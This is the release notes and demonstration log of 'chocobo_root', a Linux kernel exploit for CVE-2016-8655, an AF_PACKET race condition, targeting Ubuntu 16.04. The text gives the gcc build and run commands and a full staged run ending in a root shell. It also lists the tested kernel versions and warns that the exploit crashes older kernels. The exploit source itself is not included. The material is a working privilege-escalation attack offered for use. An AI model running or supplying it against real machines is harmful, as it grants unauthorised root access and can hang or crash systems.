CVE-2016-8655

ocobo_root.c linux AF_PACKET race condition exploit exploit for Ubuntu 16.04 x86_64

user@ubuntu:$ gcc chocobo_root.c -o chocobo_root -lpthread user@ubuntu:$ ./chocobo_root

making vsyscall page writable..

new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0, race won === please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered!

stage 1 completed registering new sysctl..

new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 race not won

retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0, race won === please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added!

stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user)

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There are offsets included for older kernels, but they're untested so be aware that this exploit will probably crash kernels older than 4.4.

tested on: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu

Shoutouts to: jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery for delivering hotcakes and coffee

11/2016 by rebel